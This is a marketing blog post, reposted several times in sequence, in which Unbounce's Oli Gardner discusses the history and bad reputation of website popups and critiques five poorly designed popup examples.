Well, that’s all for today, folks. You might be wondering why there were so few popup examples in this post, keep reading and I’ll explain why.

Coming Up Tomorrow – Good Popups, YAY!!!

One of the most interesting things I’ve noticed of late is that there is a shift in quality happening in the popup world. When the team rallied to find the bad popup examples above, we found at least 10x as many good ones as bad. That’s something to feel pretty good about. Perhaps the positive energy we’re helping to spread is having an impact.

So get your butt back here tomorrow to see 20+ delightful website popup examples. More importantly, I’ll also be sharing “The Delight Equation”, my latest formula for measuring quantifying how good your popups really are.

See you then!

Cheers Oli

p.s. Don’t forget to subscribe to the weekly updates.

from Marketing http://unbounce.com/product-marketing/bad-website-popup-examples/ via http://www.rssmix.com/

[roypstickney]

Technology isn’t the Problem, We Are: 5 Horrific Website Popup Examples

It’s Day 5 of Product Marketing Month. Today I get to bash some really bad popup examples. Yuss! — Unbounce co-founder Oli Gardner

But before I bring the heat, I want to talk a bit about what it’s like, as a product marketer, to be marketing something that’s difficult to market.

You see, there’s a common problem that many marketers face, and it’s also one of the most asked questions I hear when I’m on the road, as a speaker:

“How do I great marketing for a boring product or service?”

That’s a tough challenge for sure, although the good news is that if you can inject some originality you’ll be a clear winner, as all of your competitors are also boring. However, I think I can one-up that problem:

“How do I do great marketing for something that’s universally hated, like popups?”

We knew we had a big challenge ahead of us when we decided to release the popups product because of the long legacy of manipulative abuse it carries with it.

In fact, as the discussion about product direction began in the office, there were some visceral (negative) reactions from some folks on the engineering team. They feared that we were switching over to the dark side.

It makes sense to me that this sentiment would come from developers. In my experience, really good software developers have one thing in common. They want to make a difference in the world. Developers are makers by design, and part of building something is wanting it to have a positive impact on those who use it.

To quell those types of fears requires a few things;

Education about the positive use cases for the technology,

Evidence in the form of good popup examples, showcasing how to use them in a delightful and responsible manner,

Features such as advanced triggers & targeting to empower marketers to deliver greater relevance to visitors,

And most important of all – it requires us to take a stance. We can’t change the past unless we lead by example.

It’s been my goal since we started down this path, to make it clear that we are drawing a line in the sand between the negative past, and a positive future.

Which is why we initially launched with the name “Overlays” instead of popups.

Overlays vs. Popups – The End of an Era

It made a lot of sense at the time, from a branding perspective. Through podcast interviews and public speaking gigs, I was trying to change the narrative around popups. Whenever I was talking about a bad experience, I would call it a popup. When it was a positive (and additive) experience, I’d call it an overlay. It was a really good way to create a clear separation.

I even started to notice more and more people calling them overlays. Progress.

Unfortunately, it would still require a lot of continued education to make a dent in the global perception of the terminology, that with the search volume for “overlays” being tiny compared to popups, factored heavily into our decision to pivot back to calling a popup a popup.

Positioning is part of a product marketer’s job – our VP of Product Marketing, Ryan Engley recently completed our most recent positioning document for the new products. Just as the umbrella term “Convertables” we had been using to include popups and sticky bars had created confusion, “Overlays” was again making the job harder than it should have been. You can tell, just from reading this paragraph alone that it’s a complex problem, and we’re moving in the right direction by re-simplifying.

The biggest challenge developing our positioning was the number of important strategic questions that we needed to answer first. The market problems we solve, for who, how our product fits today with our vision for the future, who we see ourselves competing with, whether we position ourselves as a comprehensive platform that solves a unique problem, or whether we go to market with individual products and tools etc. It’s a beast of an undertaking.

My biggest lightbulb moment was working with April Dunford who pushed me to get away from competing tool-to-tool with other products. She said in order to win that way, you’d have to be market leading in every tool, and that won’t happen. So what’s the unique value that only you offer and why is it important?

— Ryan Engley, VP Product Marketing at Unbounce

You can read more about our initial product adoption woes, and how our naming conventions hurt us, in the first post in the series – Product Marketing Month: Why I’m Writing 30 Blog Posts in 30 Days.

Let’s get back to the subject of popups. I think it’s important to look back at the history of this device to better understand how they came about, and why they have always caused such a stir.

Browser Interaction Models & the History of the Popup

The talk I was doing much of last year was called Data-Driven Design. As part of the talk, I get into interaction design trends. I’ve included the “Trendline” slide below.

You can see that the first occurrence of a popup was back in 1998. Also, note that I included Overlays in late 2016 when we first started that discussion.

Like many bad trends, popups began as web developers started trying to hack browser behavior to create different interruptive interaction modes. I know I made a lot of them back in the day, but I was always doing it to try to create a cool experience. For example, I was building a company Intranet and wanted to open up content in a new window, resize it, and stick it to the side of the screen as a sidebar navigation for the main window. That was all good stuff.

Tabbed browsers have done a lot to help clean up the mess of multiple windows, and if you couple that with popup blockers, there’s a clear evolution in how this type of behavior is being dealt with.

Then came the pop-under, often connected to Malware virus schemes where malicious scripts could be running in the background and you wouldn’t even know.

And then the always fun “Are you sure you want to do that?” Inception-like looping exit dialogs.

Developers/hackers took the simple Javascript modal “Ok” “Cancel” and abused it to the point where there was no real way out of the page. If you tried to leave the page one modal would lead to another, and another, and you couldn’t actually close the browser window/tab unless you could do it within the split second between one dialog closing and the next opening. It was awful.

So we have a legacy of abuse that’s killed the perception of popups.

What if Popups Had Been Built Into Browsers?

Imagine for a moment that a popup was simply one of many available interaction models available in the browsing experience. They could have had a specification from the W3C, with a set of acceptable criteria for display modes. It would be an entirely different experience. Sure, there would still be abuse, but it’s an interesting thought.

This is why it’s important that we (Unbounce and other like-minded marketers and Martech software providers) take a stance, and build the right functionality into this type of tool so that it can be used responsibly.

Furthermore, we need to keep the dialog going, to educate the current and future generations of marketers that to be original, be delightful, be a business that represents themselves as professionals, means taking responsibility for our actions and doing everything we can to take the high road in our marketing.

Alright, before I get to the really bad website popup examples, I’ll leave you with this thought:

Technology is NOT the problem, We Are.

It’s the disrespectful and irresponsible marketers who use manipulative pop-psychology tactics for the sake of a few more leads, who are the problem. We need to stop blaming popups for bad experiences, and instead, call out the malicious marketers who are ruining it for those trying to do good work.

It’s a tough challenge to reverse years of negative perception, but that’s okay. It’s okay because we know the value the product brings to our customers, how much extra success they’re having, and because we’ve built a solution that can be configured in precise ways that make it simple to use in a responsible manner (if you’re a good person).

Follow our Product Marketing Month journey >> click here to launch a popup with a subscribe form (it uses our on-click trigger feature).

5 Really Bad Website Popup Examples

What does a bad popup actually look like? Well, it depends on your judging criteria, and for the examples below, I was considering these seven things, among others:

Clarity: Is it easy to figure out the offer really quickly?

Relevance: Is it related to the content of the current page?

Manipulation: Does it use psychological trickery in the copy?

Design: Is it butt ugly?

Control: Is it clear what all options will do?

Escape: Can you get rid of it easily?

Value: Is the reward worth more than the perceived (or actual) effort?

#1 – Mashable Shmashable

What’s so bad about it?

If you peer into the background behind the popup, you’ll see a news story headline that begins with “Nightmare Alert”. I think that’s a pretty accurate description of what’s happening here.

Design: Bad. The first thing I saw looks like a big mistake. The Green line with the button hanging off the bottom looks like the designer fell asleep with their head on the mouse.

Clarity: Bad. And what on earth does the headline mean? click.click.click. Upon deeper exploration, it’s the name of the newsletter, but that’s not apparent at all on first load.

Clarity: worse. Then we get the classic “Clear vs. Clever” headline treatment. Why are you talking about the pronunciation of the word “Gif”? Tell me what this is, and why I should care to give you my email.

Design: Bad. Also, that background is gnarly.

#2 – KAM Motorsports Revolution!

What’s so bad about it?

It’s motorsports. It’s not a revolution. Unless they’re talking about wheels going round in circles.

Clarity: Bad. The headline doesn’t say what it is, or what I’ll get by subscribing. I have to read the fine print to figure that out.

Copy: Bad. Just reading the phrase “abuse your email” is a big turn off. Just like the word spam, I wasn’t thinking that you were going to abuse me, but now it’s on my mind.

Relevance: Bad. Newsletter subscription popups are great, they have a strong sense of utility and can give people exactly what they want. But I don’t like them as entry popups. They’re much better when they use an exit trigger, or a scroll trigger. Using a “Scroll Up” trigger is smart because it means they’ve read some of your content, and they are scrolling back up vs. leaving directly, which is another micro-signal that they are interested.

#3 – Utterly Confused

(Source unknown – I found it on confirmshaming.tumblr.com)

What’s so bad about it?

I have no earthly clue what’s going on here.

Clarity: Bad. I had to re-read it five times before I figured out what was going on.

Control: Bad. After reading it, I didn’t know whether I would be agreeing with what they’re going to give me, or with the statement. It’s like an affirmation or something. But I have no way of knowing what will happen if I click either button. My best guess after spending this much time writing about it is that it’s a poll. But a really meaningless one if it is. Click here to find out how many people agreed with “doing better”…

It ends with “Do Better”. I agree. They need to do a lot better.

#4 – Purple Nurple

What’s so bad about it?

Manipulation: Bad. Our first “Confirm Shaming” example. Otherwise known as “Good Cop / Bad Cop”. Forcing people to click a button that says “Detest” on it is so incongruent with the concept of a mattress company that I think they’re just being cheap. There’s no need to speak to people that way.

I found a second popup example by Purple (below), and have to give them credit. The copy on this one is significantly more persuasive. Get this. If you look at the section I circled (in purple), it says that if you subscribe, they’ll keep you up to date with SHIPPING TIMES!!! Seriously? If you’re going to email me and say “Hey Oli, great news! We can ship you a mattress in 2 weeks!”, I’ll go to Leesa, or Endy, or one of a million other Casper copycats.

#5 – Hello BC

What’s so bad about it?

Context: This is an entry popup, and I have never been to this site before.

Relevance: Bad. The site is Hellobc.com, the title says “Supernatural British Columbia”, and the content on the page is about skydiving. So what list is this for? And nobody wants to be on a “list”, stop saying “list”. It’s like saying email blast. Blast your list. If you read the first sentence it gets even more confusing, as you’ll be receiving updates from Destination BC. That’s 4 different concepts at play here.

Design: Bad. It’s legitimately butt ugly. I mean, come on. This is for Beautiful Supernatural British Columbia ffs. It’s stunning here. Show some scenery to entice me in.

Value: Bad. Seeing that form when I arrive on the page is like a giant eff you. Why do they think it’s okay to ask for that much info, with that much text.

Control: Bad. And there’s not any error handling. However, the submit button remains inactive until you magically click the right amount of options to trigger it’s hungry hungry hippo mouth to open.

Trainwreck.

Well, that’s all for today, folks. You might be wondering why there were so few popup examples in this post, keep reading and I’ll explain why.

Coming Up Tomorrow – Good Popups, YAY!!!

One of the most interesting things I’ve noticed of late is that there is a shift in quality happening in the popup world. When the team rallied to find the bad popup examples above, we found at least 10x as many good ones as bad. That’s something to feel pretty good about. Perhaps the positive energy we’re helping to spread is having an impact.

So get your butt back here tomorrow to see 20+ delightful website popup examples. More importantly, I’ll also be sharing “The Delight Equation”, my latest formula for measuring quantifying how good your popups really are.

See you then!

Cheers Oli

p.s. Don’t forget to subscribe to the weekly updates.

[kennethmontiveros]

Technology isn’t the Problem, We Are: 5 Horrific Website Popup Examples

It’s Day 5 of Product Marketing Month. Today I get to bash some really bad popup examples. Yuss! — Unbounce co-founder Oli Gardner

But before I bring the heat, I want to talk a bit about what it’s like, as a product marketer, to be marketing something that’s difficult to market.

You see, there’s a common problem that many marketers face, and it’s also one of the most asked questions I hear when I’m on the road, as a speaker:

“How do I great marketing for a boring product or service?”

That’s a tough challenge for sure, although the good news is that if you can inject some originality you’ll be a clear winner, as all of your competitors are also boring. However, I think I can one-up that problem:

“How do I do great marketing for something that’s universally hated, like popups?”

We knew we had a big challenge ahead of us when we decided to release the popups product because of the long legacy of manipulative abuse it carries with it.

In fact, as the discussion about product direction began in the office, there were some visceral (negative) reactions from some folks on the engineering team. They feared that we were switching over to the dark side.

It makes sense to me that this sentiment would come from developers. In my experience, really good software developers have one thing in common. They want to make a difference in the world. Developers are makers by design, and part of building something is wanting it to have a positive impact on those who use it.

To quell those types of fears requires a few things;

Education about the positive use cases for the technology,

Evidence in the form of good popup examples, showcasing how to use them in a delightful and responsible manner,

Features such as advanced triggers & targeting to empower marketers to deliver greater relevance to visitors,

And most important of all – it requires us to take a stance. We can’t change the past unless we lead by example.

It’s been my goal since we started down this path, to make it clear that we are drawing a line in the sand between the negative past, and a positive future.

Which is why we initially launched with the name “Overlays” instead of popups.

Overlays vs. Popups – The End of an Era

It made a lot of sense at the time, from a branding perspective. Through podcast interviews and public speaking gigs, I was trying to change the narrative around popups. Whenever I was talking about a bad experience, I would call it a popup. When it was a positive (and additive) experience, I’d call it an overlay. It was a really good way to create a clear separation.

I even started to notice more and more people calling them overlays. Progress.

Unfortunately, it would still require a lot of continued education to make a dent in the global perception of the terminology, that with the search volume for “overlays” being tiny compared to popups, factored heavily into our decision to pivot back to calling a popup a popup.

Positioning is part of a product marketer’s job – our VP of Product Marketing, Ryan Engley recently completed our most recent positioning document for the new products. Just as the umbrella term “Convertables” we had been using to include popups and sticky bars had created confusion, “Overlays” was again making the job harder than it should have been. You can tell, just from reading this paragraph alone that it’s a complex problem, and we’re moving in the right direction by re-simplifying.

The biggest challenge developing our positioning was the number of important strategic questions that we needed to answer first. The market problems we solve, for who, how our product fits today with our vision for the future, who we see ourselves competing with, whether we position ourselves as a comprehensive platform that solves a unique problem, or whether we go to market with individual products and tools etc. It’s a beast of an undertaking.

My biggest lightbulb moment was working with April Dunford who pushed me to get away from competing tool-to-tool with other products. She said in order to win that way, you’d have to be market leading in every tool, and that won’t happen. So what’s the unique value that only you offer and why is it important?

— Ryan Engley, VP Product Marketing at Unbounce

You can read more about our initial product adoption woes, and how our naming conventions hurt us, in the first post in the series – Product Marketing Month: Why I’m Writing 30 Blog Posts in 30 Days.

Let’s get back to the subject of popups. I think it’s important to look back at the history of this device to better understand how they came about, and why they have always caused such a stir.

Browser Interaction Models & the History of the Popup

The talk I was doing much of last year was called Data-Driven Design. As part of the talk, I get into interaction design trends. I’ve included the “Trendline” slide below.

You can see that the first occurrence of a popup was back in 1998. Also, note that I included Overlays in late 2016 when we first started that discussion.

Like many bad trends, popups began as web developers started trying to hack browser behavior to create different interruptive interaction modes. I know I made a lot of them back in the day, but I was always doing it to try to create a cool experience. For example, I was building a company Intranet and wanted to open up content in a new window, resize it, and stick it to the side of the screen as a sidebar navigation for the main window. That was all good stuff.

Tabbed browsers have done a lot to help clean up the mess of multiple windows, and if you couple that with popup blockers, there’s a clear evolution in how this type of behavior is being dealt with.

Then came the pop-under, often connected to Malware virus schemes where malicious scripts could be running in the background and you wouldn’t even know.

And then the always fun “Are you sure you want to do that?” Inception-like looping exit dialogs.

Developers/hackers took the simple Javascript modal “Ok” “Cancel” and abused it to the point where there was no real way out of the page. If you tried to leave the page one modal would lead to another, and another, and you couldn’t actually close the browser window/tab unless you could do it within the split second between one dialog closing and the next opening. It was awful.

So we have a legacy of abuse that’s killed the perception of popups.

What if Popups Had Been Built Into Browsers?

Imagine for a moment that a popup was simply one of many available interaction models available in the browsing experience. They could have had a specification from the W3C, with a set of acceptable criteria for display modes. It would be an entirely different experience. Sure, there would still be abuse, but it’s an interesting thought.

This is why it’s important that we (Unbounce and other like-minded marketers and Martech software providers) take a stance, and build the right functionality into this type of tool so that it can be used responsibly.

Furthermore, we need to keep the dialog going, to educate the current and future generations of marketers that to be original, be delightful, be a business that represents themselves as professionals, means taking responsibility for our actions and doing everything we can to take the high road in our marketing.

Alright, before I get to the really bad website popup examples, I’ll leave you with this thought:

Technology is NOT the problem, We Are.

It’s the disrespectful and irresponsible marketers who use manipulative pop-psychology tactics for the sake of a few more leads, who are the problem. We need to stop blaming popups for bad experiences, and instead, call out the malicious marketers who are ruining it for those trying to do good work.

It’s a tough challenge to reverse years of negative perception, but that’s okay. It’s okay because we know the value the product brings to our customers, how much extra success they’re having, and because we’ve built a solution that can be configured in precise ways that make it simple to use in a responsible manner (if you’re a good person).

Follow our Product Marketing Month journey >> click here to launch a popup with a subscribe form (it uses our on-click trigger feature).

5 Really Bad Website Popup Examples

What does a bad popup actually look like? Well, it depends on your judging criteria, and for the examples below, I was considering these seven things, among others:

Clarity: Is it easy to figure out the offer really quickly?

Relevance: Is it related to the content of the current page?

Manipulation: Does it use psychological trickery in the copy?

Design: Is it butt ugly?

Control: Is it clear what all options will do?

Escape: Can you get rid of it easily?

Value: Is the reward worth more than the perceived (or actual) effort?

#1 – Mashable Shmashable

What’s so bad about it?

If you peer into the background behind the popup, you’ll see a news story headline that begins with “Nightmare Alert”. I think that’s a pretty accurate description of what’s happening here.

Design: Bad. The first thing I saw looks like a big mistake. The Green line with the button hanging off the bottom looks like the designer fell asleep with their head on the mouse.

Clarity: Bad. And what on earth does the headline mean? click.click.click. Upon deeper exploration, it’s the name of the newsletter, but that’s not apparent at all on first load.

Clarity: worse. Then we get the classic “Clear vs. Clever” headline treatment. Why are you talking about the pronunciation of the word “Gif”? Tell me what this is, and why I should care to give you my email.

Design: Bad. Also, that background is gnarly.

#2 – KAM Motorsports Revolution!

What’s so bad about it?

It’s motorsports. It’s not a revolution. Unless they’re talking about wheels going round in circles.

Clarity: Bad. The headline doesn’t say what it is, or what I’ll get by subscribing. I have to read the fine print to figure that out.

Copy: Bad. Just reading the phrase “abuse your email” is a big turn off. Just like the word spam, I wasn’t thinking that you were going to abuse me, but now it’s on my mind.

Relevance: Bad. Newsletter subscription popups are great, they have a strong sense of utility and can give people exactly what they want. But I don’t like them as entry popups. They’re much better when they use an exit trigger, or a scroll trigger. Using a “Scroll Up” trigger is smart because it means they’ve read some of your content, and they are scrolling back up vs. leaving directly, which is another micro-signal that they are interested.

#3 – Utterly Confused

(Source unknown – I found it on confirmshaming.tumblr.com)

What’s so bad about it?

I have no earthly clue what’s going on here.

Clarity: Bad. I had to re-read it five times before I figured out what was going on.

Control: Bad. After reading it, I didn’t know whether I would be agreeing with what they’re going to give me, or with the statement. It’s like an affirmation or something. But I have no way of knowing what will happen if I click either button. My best guess after spending this much time writing about it is that it’s a poll. But a really meaningless one if it is. Click here to find out how many people agreed with “doing better”…

It ends with “Do Better”. I agree. They need to do a lot better.

#4 – Purple Nurple

What’s so bad about it?

Manipulation: Bad. Our first “Confirm Shaming” example. Otherwise known as “Good Cop / Bad Cop”. Forcing people to click a button that says “Detest” on it is so incongruent with the concept of a mattress company that I think they’re just being cheap. There’s no need to speak to people that way.

I found a second popup example by Purple (below), and have to give them credit. The copy on this one is significantly more persuasive. Get this. If you look at the section I circled (in purple), it says that if you subscribe, they’ll keep you up to date with SHIPPING TIMES!!! Seriously? If you’re going to email me and say “Hey Oli, great news! We can ship you a mattress in 2 weeks!”, I’ll go to Leesa, or Endy, or one of a million other Casper copycats.

#5 – Hello BC

What’s so bad about it?

Context: This is an entry popup, and I have never been to this site before.

Relevance: Bad. The site is Hellobc.com, the title says “Supernatural British Columbia”, and the content on the page is about skydiving. So what list is this for? And nobody wants to be on a “list”, stop saying “list”. It’s like saying email blast. Blast your list. If you read the first sentence it gets even more confusing, as you’ll be receiving updates from Destination BC. That’s 4 different concepts at play here.

Design: Bad. It’s legitimately butt ugly. I mean, come on. This is for Beautiful Supernatural British Columbia ffs. It’s stunning here. Show some scenery to entice me in.

Value: Bad. Seeing that form when I arrive on the page is like a giant eff you. Why do they think it’s okay to ask for that much info, with that much text.

Control: Bad. And there’s not any error handling. However, the submit button remains inactive until you magically click the right amount of options to trigger it’s hungry hungry hippo mouth to open.

Trainwreck.

Well, that’s all for today, folks. You might be wondering why there were so few popup examples in this post, keep reading and I’ll explain why.

Coming Up Tomorrow – Good Popups, YAY!!!

One of the most interesting things I’ve noticed of late is that there is a shift in quality happening in the popup world. When the team rallied to find the bad popup examples above, we found at least 10x as many good ones as bad. That’s something to feel pretty good about. Perhaps the positive energy we’re helping to spread is having an impact.

So get your butt back here tomorrow to see 20+ delightful website popup examples. More importantly, I’ll also be sharing “The Delight Equation”, my latest formula for measuring quantifying how good your popups really are.

See you then!

Cheers Oli

p.s. Don’t forget to subscribe to the weekly updates.

Technology isn’t the Problem, We Are: 5 Horrific Website Popup Examples published first on http://nickpontemktg.blogspot.com/

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Technology isn’t the Problem, We Are: 5 Horrific Website Popup Examples

It’s Day 5 of Product Marketing Month. Today I get to bash some really bad popup examples. Yuss! — Unbounce co-founder Oli Gardner

But before I bring the heat, I want to talk a bit about what it’s like, as a product marketer, to be marketing something that’s difficult to market.

You see, there’s a common problem that many marketers face, and it’s also one of the most asked questions I hear when I’m on the road, as a speaker:

“How do I great marketing for a boring product or service?”

That’s a tough challenge for sure, although the good news is that if you can inject some originality you’ll be a clear winner, as all of your competitors are also boring. However, I think I can one-up that problem:

“How do I do great marketing for something that’s universally hated, like popups?”

We knew we had a big challenge ahead of us when we decided to release the popups product because of the long legacy of manipulative abuse it carries with it.

In fact, as the discussion about product direction began in the office, there were some visceral (negative) reactions from some folks on the engineering team. They feared that we were switching over to the dark side.

It makes sense to me that this sentiment would come from developers. In my experience, really good software developers have one thing in common. They want to make a difference in the world. Developers are makers by design, and part of building something is wanting it to have a positive impact on those who use it.

To quell those types of fears requires a few things;

Education about the positive use cases for the technology,

Evidence in the form of good popup examples, showcasing how to use them in a delightful and responsible manner,

Features such as advanced triggers & targeting to empower marketers to deliver greater relevance to visitors,

And most important of all – it requires us to take a stance. We can’t change the past unless we lead by example.

It’s been my goal since we started down this path, to make it clear that we are drawing a line in the sand between the negative past, and a positive future.

Which is why we initially launched with the name “Overlays” instead of popups.

Overlays vs. Popups – The End of an Era

It made a lot of sense at the time, from a branding perspective. Through podcast interviews and public speaking gigs, I was trying to change the narrative around popups. Whenever I was talking about a bad experience, I would call it a popup. When it was a positive (and additive) experience, I’d call it an overlay. It was a really good way to create a clear separation.

I even started to notice more and more people calling them overlays. Progress.

Unfortunately, it would still require a lot of continued education to make a dent in the global perception of the terminology, that with the search volume for “overlays” being tiny compared to popups, factored heavily into our decision to pivot back to calling a popup a popup.

Positioning is part of a product marketer’s job – our VP of Product Marketing, Ryan Engley recently completed our most recent positioning document for the new products. Just as the umbrella term “Convertables” we had been using to include popups and sticky bars had created confusion, “Overlays” was again making the job harder than it should have been. You can tell, just from reading this paragraph alone that it’s a complex problem, and we’re moving in the right direction by re-simplifying.

The biggest challenge developing our positioning was the number of important strategic questions that we needed to answer first. The market problems we solve, for who, how our product fits today with our vision for the future, who we see ourselves competing with, whether we position ourselves as a comprehensive platform that solves a unique problem, or whether we go to market with individual products and tools etc. It’s a beast of an undertaking.

My biggest lightbulb moment was working with April Dunford who pushed me to get away from competing tool-to-tool with other products. She said in order to win that way, you’d have to be market leading in every tool, and that won’t happen. So what’s the unique value that only you offer and why is it important?

— Ryan Engley, VP Product Marketing at Unbounce

You can read more about our initial product adoption woes, and how our naming conventions hurt us, in the first post in the series – Product Marketing Month: Why I’m Writing 30 Blog Posts in 30 Days.

Let’s get back to the subject of popups. I think it’s important to look back at the history of this device to better understand how they came about, and why they have always caused such a stir.

Browser Interaction Models & the History of the Popup

The talk I was doing much of last year was called Data-Driven Design. As part of the talk, I get into interaction design trends. I’ve included the “Trendline” slide below.

You can see that the first occurrence of a popup was back in 1998. Also, note that I included Overlays in late 2016 when we first started that discussion.

Like many bad trends, popups began as web developers started trying to hack browser behavior to create different interruptive interaction modes. I know I made a lot of them back in the day, but I was always doing it to try to create a cool experience. For example, I was building a company Intranet and wanted to open up content in a new window, resize it, and stick it to the side of the screen as a sidebar navigation for the main window. That was all good stuff.

Tabbed browsers have done a lot to help clean up the mess of multiple windows, and if you couple that with popup blockers, there’s a clear evolution in how this type of behavior is being dealt with.

Then came the pop-under, often connected to Malware virus schemes where malicious scripts could be running in the background and you wouldn’t even know.

And then the always fun “Are you sure you want to do that?” Inception-like looping exit dialogs.

Developers/hackers took the simple Javascript modal “Ok” “Cancel” and abused it to the point where there was no real way out of the page. If you tried to leave the page one modal would lead to another, and another, and you couldn’t actually close the browser window/tab unless you could do it within the split second between one dialog closing and the next opening. It was awful.

So we have a legacy of abuse that’s killed the perception of popups.

What if Popups Had Been Built Into Browsers?

Imagine for a moment that a popup was simply one of many available interaction models available in the browsing experience. They could have had a specification from the W3C, with a set of acceptable criteria for display modes. It would be an entirely different experience. Sure, there would still be abuse, but it’s an interesting thought.

This is why it’s important that we (Unbounce and other like-minded marketers and Martech software providers) take a stance, and build the right functionality into this type of tool so that it can be used responsibly.

Furthermore, we need to keep the dialog going, to educate the current and future generations of marketers that to be original, be delightful, be a business that represents themselves as professionals, means taking responsibility for our actions and doing everything we can to take the high road in our marketing.

Alright, before I get to the really bad website popup examples, I’ll leave you with this thought:

Technology is NOT the problem, We Are.

It’s the disrespectful and irresponsible marketers who use manipulative pop-psychology tactics for the sake of a few more leads, who are the problem. We need to stop blaming popups for bad experiences, and instead, call out the malicious marketers who are ruining it for those trying to do good work.

It’s a tough challenge to reverse years of negative perception, but that’s okay. It’s okay because we know the value the product brings to our customers, how much extra success they’re having, and because we’ve built a solution that can be configured in precise ways that make it simple to use in a responsible manner (if you’re a good person).

Follow our Product Marketing Month journey >> click here to launch a popup with a subscribe form (it uses our on-click trigger feature).

5 Really Bad Website Popup Examples

What does a bad popup actually look like? Well, it depends on your judging criteria, and for the examples below, I was considering these seven things, among others:

Clarity: Is it easy to figure out the offer really quickly?

Relevance: Is it related to the content of the current page?

Manipulation: Does it use psychological trickery in the copy?

Design: Is it butt ugly?

Control: Is it clear what all options will do?

Escape: Can you get rid of it easily?

Value: Is the reward worth more than the perceived (or actual) effort?

#1 – Mashable Shmashable

What’s so bad about it?

If you peer into the background behind the popup, you’ll see a news story headline that begins with “Nightmare Alert”. I think that’s a pretty accurate description of what’s happening here.

Design: Bad. The first thing I saw looks like a big mistake. The Green line with the button hanging off the bottom looks like the designer fell asleep with their head on the mouse.

Clarity: Bad. And what on earth does the headline mean? click.click.click. Upon deeper exploration, it’s the name of the newsletter, but that’s not apparent at all on first load.

Clarity: worse. Then we get the classic “Clear vs. Clever” headline treatment. Why are you talking about the pronunciation of the word “Gif”? Tell me what this is, and why I should care to give you my email.

Design: Bad. Also, that background is gnarly.

#2 – KAM Motorsports Revolution!

What’s so bad about it?

It’s motorsports. It’s not a revolution. Unless they’re talking about wheels going round in circles.

Clarity: Bad. The headline doesn’t say what it is, or what I’ll get by subscribing. I have to read the fine print to figure that out.

Copy: Bad. Just reading the phrase “abuse your email” is a big turn off. Just like the word spam, I wasn’t thinking that you were going to abuse me, but now it’s on my mind.

Relevance: Bad. Newsletter subscription popups are great, they have a strong sense of utility and can give people exactly what they want. But I don’t like them as entry popups. They’re much better when they use an exit trigger, or a scroll trigger. Using a “Scroll Up” trigger is smart because it means they’ve read some of your content, and they are scrolling back up vs. leaving directly, which is another micro-signal that they are interested.

#3 – Utterly Confused

(Source unknown – I found it on confirmshaming.tumblr.com)

What’s so bad about it?

I have no earthly clue what’s going on here.

Clarity: Bad. I had to re-read it five times before I figured out what was going on.

Control: Bad. After reading it, I didn’t know whether I would be agreeing with what they’re going to give me, or with the statement. It’s like an affirmation or something. But I have no way of knowing what will happen if I click either button. My best guess after spending this much time writing about it is that it’s a poll. But a really meaningless one if it is. Click here to find out how many people agreed with “doing better”…

It ends with “Do Better”. I agree. They need to do a lot better.

#4 – Purple Nurple

What’s so bad about it?

Manipulation: Bad. Our first “Confirm Shaming” example. Otherwise known as “Good Cop / Bad Cop”. Forcing people to click a button that says “Detest” on it is so incongruent with the concept of a mattress company that I think they’re just being cheap. There’s no need to speak to people that way.

I found a second popup example by Purple (below), and have to give them credit. The copy on this one is significantly more persuasive. Get this. If you look at the section I circled (in purple), it says that if you subscribe, they’ll keep you up to date with SHIPPING TIMES!!! Seriously? If you’re going to email me and say “Hey Oli, great news! We can ship you a mattress in 2 weeks!”, I’ll go to Leesa, or Endy, or one of a million other Casper copycats.

#5 – Hello BC

What’s so bad about it?

Context: This is an entry popup, and I have never been to this site before.

Relevance: Bad. The site is Hellobc.com, the title says “Supernatural British Columbia”, and the content on the page is about skydiving. So what list is this for? And nobody wants to be on a “list”, stop saying “list”. It’s like saying email blast. Blast your list. If you read the first sentence it gets even more confusing, as you’ll be receiving updates from Destination BC. That’s 4 different concepts at play here.

Design: Bad. It’s legitimately butt ugly. I mean, come on. This is for Beautiful Supernatural British Columbia ffs. It’s stunning here. Show some scenery to entice me in.

Value: Bad. Seeing that form when I arrive on the page is like a giant eff you. Why do they think it’s okay to ask for that much info, with that much text.

Control: Bad. And there’s not any error handling. However, the submit button remains inactive until you magically click the right amount of options to trigger it’s hungry hungry hippo mouth to open.

Trainwreck.

Well, that’s all for today, folks. You might be wondering why there were so few popup examples in this post, keep reading and I’ll explain why.

Coming Up Tomorrow – Good Popups, YAY!!!

One of the most interesting things I’ve noticed of late is that there is a shift in quality happening in the popup world. When the team rallied to find the bad popup examples above, we found at least 10x as many good ones as bad. That’s something to feel pretty good about. Perhaps the positive energy we’re helping to spread is having an impact.

So get your butt back here tomorrow to see 20+ delightful website popup examples. More importantly, I’ll also be sharing “The Delight Equation”, my latest formula for measuring quantifying how good your popups really are.

See you then!

Cheers Oli

p.s. Don’t forget to subscribe to the weekly updates.

from RSSMix.com Mix ID 8217493 http://unbounce.com/product-marketing/bad-website-popup-examples/